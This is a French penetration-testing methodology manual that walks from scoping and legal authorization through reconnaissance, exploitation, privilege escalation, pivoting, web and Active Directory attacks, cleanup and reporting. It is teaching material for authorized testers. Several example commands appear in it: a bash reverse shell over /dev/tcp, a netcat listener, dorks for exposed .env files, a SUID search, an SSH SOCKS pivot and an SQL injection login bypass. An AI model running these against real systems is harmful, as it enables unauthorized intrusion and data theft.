Manuel de Référence et

d'Exécution : Tests d'Intrusion

Méthodologies Stratégiques, Protocoles Techniques et Post-Exploitation

Domaine : Offensive Security & Sécurité Logique

Statut : Document Technique Opérationnel
Date de Génération : Juin 2026
Cadres Pris en Charge : PTES, OWASP, NIST, MITRE ATT&CK
Format : Guide de Référence (Minimum 10 Pages)

Le Guide de Référence du Pentesting - Approche Structurée 1

Table des Matières

Ce manuel détaille l'intégralité d'un cycle de test d'intrusion (Pentest) professionnel, depuis les accords légaux
préliminaires jusqu'à la rédaction du rapport et au suivi de la remédiation.

• Chapitre 1 : Fondations et Définitions Stratégiques (Types de pentests, cadres réglementaires, posture

éthique)

• Chapitre 2 : Cadrage Préparatoire et Règles d'Engagement (Périmètre, RoE, aspects juridiques,

gestion des risques)

• Chapitre 3 : Phase 1 - Reconnaissance et Collecte d'Informations (OSINT) (Reconnaissance passive

et active, outils phares)

• Chapitre 4 : Phase 2 - Cartographie et Scanning Réseau (Détection d'actifs, énumération de ports,

empreintes de services)

• Chapitre 5 : Phase 3 - Analyse de Vulnérabilités (Analyse statique, dynamique, faux positifs, priorisation
du risque)

• Chapitre 6 : Phase 4 - Exploitation (Gagner l'Accès Initial) (Armement, attaques applicatives, failles
logiques, dépassements de tampon)

• Chapitre 7 : Phase 5 - Post-Exploitation et Élévation de Privilèges (Énumération locale, persistence,

escalade de privilèges)

• Chapitre 8 : Phase 6 - Mouvements Latéraux et Pivotement (Tunneling SSH, proxying, compromission

d'infrastructure Active Directory)

• Chapitre 9 : Focus Spécifique : Pentesting des Applications Web (Top 10 OWASP, injections, défauts
d'authentification)

• Chapitre 10 : Focus Spécifique : Sécurité des Infrastructures et Active Directory (Kerberoasting,

Pass-the-Hash)

• Chapitre 11 : Nettoyage de l'Environnement Cible (Suppression des artefacts, restauration des

configurations)

• Chapitre 12 : Livrables - Rédaction du Rapport Réseau et Restitution (Structure, formalisation

executive et technique, plan de remédiation)

Le Guide de Référence du Pentesting - Approche Structurée 2

Chapitre 1 : Fondations et Définitions Stratégiques

1.1 Qu'est-ce qu'un Test d'Intrusion ?

Un test d'intrusion (ou *penetration test*) consiste à évaluer la sécurité d'une infrastructure technique ou d'une
application en simulant les attaques d'un adversaire malveillant. Contrairement à un simple audit de
conformité ou à un scan de vulnérabilités automatique, le pentest va au-delà de la simple détection : il valide
l'exploitabilité réelle des failles et mesure l'impact concret que leur compromission ferait peser sur les actifs de
l'organisation.

1.2 Les approches de test (Boîtes)

La quantité d'informations initiales fournie au consultant détermine l'approche méthodologique :

• Boîte Noire (Black Box) : Le testeur n'a aucune connaissance préalable de la cible (hormis son nom ou
un bloc d'adresses IP). Simule un attaquant externe opportuniste ou ciblé. Demande un effort d'OSINT
très important.

• Boîte Grise (Grey Box) : Approche la plus courante en entreprise. Le testeur dispose d'informations
limitées (par exemple, un compte utilisateur standard, une documentation d'architecture succincte). Simule
un utilisateur interne malveillant ou un attaquant ayant déjà compromis un premier accès.

• Boîte Blanche (White Box) : Le testeur dispose d'un accès intégral à la documentation, aux schémas
réseau, aux configurations des serveurs et parfois au code source. Permet une analyse exhaustive et
minutieuse, idéale pour les applications critiques.

1.3 Les Cadres Méthodologiques de Référence

Pour garantir la rigueur et la reproductibilité des tests, les professionnels s'appuient sur des standards
internationaux :

Le Guide de Référence du Pentesting - Approche Structurée 3

 Standard / Framework Focus Principal Avantage Majeur

PTES (Penetration Testing Cycle de vie global du test Détaille précisément les 7 phases clés de
Execution Standard) d'intrusion l'exécution.

OWASP (Open Web Application Sécurité applicative (Web, Référence mondiale absolue pour les tests
Security Project) Mobile, API) applicatifs.

Guide technique d'évaluation Recommandations rigoureuses adaptées aux

NIST SP 800-115
de la sécurité secteurs réglementés.

Tactiques et techniques Permet de cartographier les simulations sur

MITRE ATT&CK
d'attaque réelles des menaces connues.

Le Guide de Référence du Pentesting - Approche Structurée 4

Chapitre 2 : Cadrage Préparatoire et Règles
d'Engagement

2.1 Définition du Périmètre (Scope)

Le périmètre d'un test d'intrusion doit être tracé de manière chirurgicale. Tout actif non explicitement inclus
dans l'accord écrit doit être considéré comme strictement interdit. La définition du scope inclut les adresses IP
publiques/privées, les noms de domaine, les applications web spécifiques (URLs) et les restrictions
géographiques ou horaires.

2.2 Les Règles d'Engagement (Rules of Engagement - RoE)

Les RoE formalisent la manière dont les tests seront menés. Elles répondent aux questions suivantes :

• Les attaques par déni de service (DoS/DDoS) sont-elles autorisées ? (Généralement exclues pour
préserver la production).

• Quels sont les créneaux horaires d'exécution (en heures ouvrées pour valider la réactivité des équipes de
défense/SOC, ou hors heures ouvrées pour minimiser l'impact sur l'activité) ?

• Quelles sont les personnes à contacter d'urgence en cas d'indisponibilité d'un système ou de découverte
d'une vulnérabilité critique (faille de type "0-day" ou compromission majeure en cours) ?

Impératif Juridique : L'Autorisation Écrite

L'exécution de tests d'intrusion sans un accord d'autorisation d'intrusion signé par un représentant légal
de l'organisation cible est assimilée à un accès frauduleux à un système de traitement automatisé de
données, sévèrement réprimé par le Code pénal. Le document d'autorisation ("Get Out of Jail Free
Card") doit être conservé par le pentester durant toute l'opération.

Le Guide de Référence du Pentesting - Approche Structurée 5

Chapitre 3 : Phase 1 - Reconnaissance et Collecte
d'Informations (OSINT)

3.1 Reconnaissance Passive

La reconnaissance passive consiste à collecter le maximum d'informations sur la cible sans interagir
directement avec ses systèmes informatiques, minimisant ainsi le risque de détection par les pare-feu ou les
systèmes de détection d'intrusions (IDS).

• Exploitation des moteurs de recherche (Google Dorking) : Utilisation d'opérateurs avancés pour
découvrir des fichiers sensibles indexés par mégarde.

site:[Link] filetype:pdf "confidentiel"

site:[Link] ext:log | ext:cfg | ext:env

• Analyse des registres DNS et WHOIS : Identification des blocs d'adresses IP attribués et des serveurs
de noms via des outils comme whois , dig , ou des services en ligne (SecurityTrails).

• Plateformes d'exposition internet : Utilisation de Shodan ou Censys pour analyser les services d'une
organisation déjà indexés sans envoyer un seul paquet à la cible.

3.2 Reconnaissance Active

La reconnaissance active implique des interactions directes avec la cible pour cartographier son
infrastructure. La collecte inclut le transfert de zone DNS (si mal configuré) et l'énumération brute de sous-
domaines.

# Recherche active de sous-domaines par bruteforce avec l'outil Subfinder ou Amass

subfinder -d [Link] -o [Link]

# Utilisation de Gobuster pour énumérer des sous-domaines via une liste de mots (wordlist)
gobuster dns -d [Link] -w /usr/share/wordlists/dirb/[Link]

Le Guide de Référence du Pentesting - Approche Structurée 6

Chapitre 4 : Phase 2 - Cartographie et Scanning
Réseau

4.1 L'art du balayage avec Nmap

Le scan réseau vise à identifier les hôtes actifs, les ports ouverts, et à deviner la nature ainsi que la version
des systèmes d'exploitation et des services en cours d'exécution.

Un scan classique et professionnel s'articule généralement autour de la commande nmap . L'utilisation de

commutateurs appropriés permet d'ajuster la furtivité et la précision.

# Scan de type SYN Stealth (furtif), avec détection de version et d'OS, sur les 1000 ports
les plus courants
nmap -sS -sV -O -T4 [Link]/24 -oA scan_initial

# Scan exhaustif de l'intégralité des ports (65535) sur une cible spécifique
nmap -p- -sV --min-rate 5000 [Link]

4.2 Analyse et interprétation des états de port

• Open (Ouvert) : Une application accepte activement les connexions sur ce port. Représente une surface
d'attaque directe.

• Closed (Fermé) : Le port reçoit les paquets mais aucune application n'écoute. Utile pour valider que l'hôte
est actif.

• Filtered (Filtré) : Un pare-feu ou un filtre réseau bloque le passage des paquets de Nmap, empêchant de
déterminer si le port est ouvert ou fermé.

Le Guide de Référence du Pentesting - Approche Structurée 7

Chapitre 5 : Analyse de Vulnérabilités

5.1 Approche Automatisée vs Analyse Manuelle

Une fois les services identifiés, l'étape suivante consiste à rechercher des vulnérabilités connues (référencées
dans les bases de données CVE - *Common Vulnerabilities and Exposures*).

Les scanners automatiques (Nessus, OpenVAS, Qualys) fournissent une base rapide en corrélant les
bannières de version avec des vulnérabilités publiques. Cependant, le rôle du pentester est de trier ces
résultats pour écarter les **faux positifs** (une vulnérabilité signalée qui n'existe pas en réalité ou qui est
atténuée par une mesure de sécurité tierce) et identifier les failles logiques que les outils automatiques
ignorent systématiquement.

5.2 Le système de notation CVSS

Le risque associé à une faille est standardisé par le score *Common Vulnerability Scoring System* (CVSS),
calculé de 0.0 à 10.0 selon des critères d'exploitabilité (vecteur d'attaque, complexité, privilèges requis) et
d'impact (confidentialité, intégrité, disponibilité).

Conseil de Consultant
Ne vous fiez pas uniquement aux scores CVSS bruts. Une vulnérabilité classée "Moyenne" (ex: CVSS
5.0) peut s'avérer critique dans un contexte particulier si elle permet un enchaînement de failles menant
à la compromission totale du contrôleur de domaine.

Le Guide de Référence du Pentesting - Approche Structurée 8

Chapitre 6 : Phase 4 - Exploitation (Gagner l'Accès
Initial)

6.1 Alignement des exploits et réduction des risques

L'exploitation consiste à injecter un code ou à abuser d'une faiblesse de configuration pour forcer le système
cible à exécuter des commandes non prévues par l'administrateur. Les frameworks comme Metasploit
facilitent cette étape, mais l'utilisation d'exploits publics en production comporte des risques de plantage de
service (*Denial of Service*).

6.2 Exemple d'architecture d'un exploit réseau

Lorsqu'un service est vulnérable à un dépassement de tampon (*buffer overflow*) ou à une exécution de code
à distance (RCE), le pentester configure une charge utile (*payload*) pour obtenir un shell de commande. On
distingue deux configurations majeures :

Type de
Mécanisme de Connexion Comportement face aux Pare-feu
Shell

La cible ouvre un port et attend que le pentester Souvent bloqué par les pare-feu périmétriques
Bind Shell
s'y connecte. en entrée.

Reverse La cible initie une connexion sortante vers la Très efficace, car les pare-feu autorisent
Shell machine du pentester. souvent le trafic sortant.

# Commande exécutée sur la machine du pentester pour attendre la connexion sortante

(Reverse Shell)
nc -lvnp 4444

# Exemple de payload de reverse shell classique en Bash exécuté sur la cible compromise
bash -i >& /dev/tcp/[Link]/4444 0>&1

Le Guide de Référence du Pentesting - Approche Structurée 9

Chapitre 7 : Phase 5 - Post-Exploitation et Élévation
de Privilèges

7.1 Prise en main de l'hôte (Énumération locale)

Une fois l'accès initial obtenu, le pentester se retrouve généralement avec les droits d'un utilisateur de bas
privilège (ex: www-data sur Linux ou LocalService sur Windows). L'objectif est d'explorer le système pour
identifier des leviers permettant de devenir Administrateur / Root.

7.2 Techniques courantes d'escalade sous Linux

• Mauvaise configuration des droits SUID : Fichiers exécutables appartenant à Root mais exécutables
par n'importe quel utilisateur avec les privilèges du propriétaire.

find / -perm -4000 -type f 2>/dev/null

• Abus de privilèges sudo mal configurés : L'exécution de la commande sudo -l permet de voir si
l'utilisateur courant peut exécuter certaines commandes spécifiques en tant que Root sans mot de passe.
Si une commande comme vim ou tar est listée, l'élévation est immédiate via le site de référence
GTFOBins.

Le Guide de Référence du Pentesting - Approche Structurée 10

Chapitre 8 : Phase 6 - Mouvements Latéraux et
Pivotement

8.1 Le concept de Pivot (Pivoting)

Le pivotement est la technique permettant d'utiliser une machine préalablement compromise comme une
passerelle (proxy) pour attaquer d'autres machines situées sur des segments de réseau internes qui ne sont
pas directement accessibles depuis Internet.

8.2 Implémentation d'un tunnel SSH dynamique

Si la machine compromise possède un accès SSH, le pentester peut initier un proxy SOCKS local pour
acheminer ses outils d'attaque (Nmap, navigateurs) à travers la machine pivot.

# Création d'un tunnel SSH dynamique sur le port local 9050

ssh -D 9050 -N utilisateur@[Link]

# Configuration de /etc/[Link] pour utiliser le port 9050, permettant ensuite

d'exécuter :
proxychains nmap -sT -Pn [Link]/24

Le Guide de Référence du Pentesting - Approche Structurée 11

Chapitre 9 : Focus Spécifique - Pentesting des
Applications Web

9.1 La méthodologie OWASP

Le test d'applications web requiert une approche spécialisée focalisée sur la logique applicative et les entrées
de l'utilisateur. Le Top 10 de l'OWASP classe les risques les plus critiques du web.

9.2 Les injections SQL (SQLi)

Une injection SQL se produit lorsque des données fournies par l'utilisateur sont concaténées directement à
une requête SQL sans nettoyage ni paramétrage, permettant à l'attaquant de manipuler la base de données
sous-jacente.

// Exemple de code vulnérable côté serveur :

val query = "SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" +
passwordInput + "'"

// Si l'utilisateur saisit : admin' --

// La requête devient : SELECT * FROM users WHERE username = 'admin' -- ' AND password =
'...'
// Le reste de la requête est commenté, l'attaquant se connecte sans mot de passe.

Remédiation Universelle
Pour éradiquer définitivement les injections SQL, les développeurs doivent systématiquement utiliser
des **requêtes préparées** (Parameterized Queries / Prepared Statements) ou des ORM modernes
sécurisés, interdisant toute interprétation des données utilisateurs comme du code exécutable.

Le Guide de Référence du Pentesting - Approche Structurée 12

Chapitre 10 : Focus Spécifique - Infrastructures et
Active Directory

10.1 Active Directory : La cible reine en entreprise

Dans un réseau d'entreprise Windows, la cible ultime d'un test d'intrusion est le contrôleur de domaine
(Domain Controller). Prendre le contrôle de l'Active Directory (AD) équivaut à détenir les clés de l'ensemble
du parc informatique de l'organisation.

10.2 Attaques courantes sur les environnements AD

• Kerberoasting : Technique permettant d'extraire de l'Active Directory les tickets de service (TGS) pour
des comptes d'utilisateurs associés à un SPN (Service Principal Name). Ces tickets peuvent ensuite être
cassés hors-ligne par force brute pour obtenir les mots de passe des comptes de services (souvent
fortement privilégiés).

• Pass-the-Hash (PtH) : Technique permettant à un attaquant de s'authentifier sur un serveur distant en

utilisant directement le condensat (*hash*) NTLM du mot de passe d'un utilisateur, sans avoir besoin de
découvrir le mot de passe en clair.

Le Guide de Référence du Pentesting - Approche Structurée 13

Chapitre 11 : Nettoyage de l'Environnement Cible
(Cleanup)

11.1 L'obligation de restitution de l'état initial

Une fois les objectifs d'intrusion atteints, la phase de nettoyage est cruciale et différencie le pentester
professionnel de l'attaquant malveillant. Le système d'information doit être restitué dans l'état exact où il se
trouvait avant le début des tests.

11.2 Actions de nettoyage requises

• Suppression de tous les comptes d'utilisateurs temporaires créés pour les besoins du test.

• Suppression des coquilles web (*webshells*), des portes dérobées (*backdoors*) et des agents de post-
exploitation installés sur les serveurs.

• Nettoyage des fichiers temporaires, des outils d'énumération téléversés (ex: LinPeas, WinPeas) dans les
dossiers /tmp ou C:\Windows\Temp .

• Journalisation méticuleuse dans le rapport de toutes les modifications persistantes apportées au système
afin de permettre aux administrateurs de vérifier le nettoyage.

Le Guide de Référence du Pentesting - Approche Structurée 14

Chapitre 12 : Livrables - Rédaction du Rapport et
Restitution

12.1 La structure type d'un rapport de Pentest

Le rapport est le seul produit tangible du test d'intrusion. C'est sur ce document que la prestation sera jugée. Il
doit s'adresser à deux publics distincts via deux sections majeures :

1. Synthèse Managériale (Executive Summary)

Rédigée pour la direction générale et les décideurs (non techniques). Elle présente une vision macroscopique
des risques, évalue la posture de sécurité globale de l'entreprise à l'aide de graphiques clairs et explique
l'impact business potentiel des vulnérabilités découvertes.

2. Rapport Technique Détaillé

Rédigé pour les administrateurs systèmes, les ingénieurs réseau et les développeurs. Chaque vulnérabilité
doit y être documentée selon le modèle suivant :

• Description de la faille : Explications théoriques et techniques de la vulnérabilité.

• Preuve de Concept (PoC) : Captures d'écran, scripts d'exploitation ou commandes exactes permettant de
reproduire l'attaque de bout en bout.

• Évaluation du Risque : Score CVSS adapté au contexte de l'entreprise.

• Plan de Remédiation : Recommandations précises, concrètes et testées pour corriger définitivement la

faille (correctifs, modifications de configuration, ajout de règles de filtrage).

12.2 Réunion de restitution et suivi

Le test d'intrusion se clôture par une réunion de restitution orale. C'est un moment d'échange constructif
visant non pas à blâmer les équipes de défense, mais à co-construire une feuille de route de remédiation
pragmatique et efficace.

Le Guide de Référence du Pentesting - Approche Structurée 15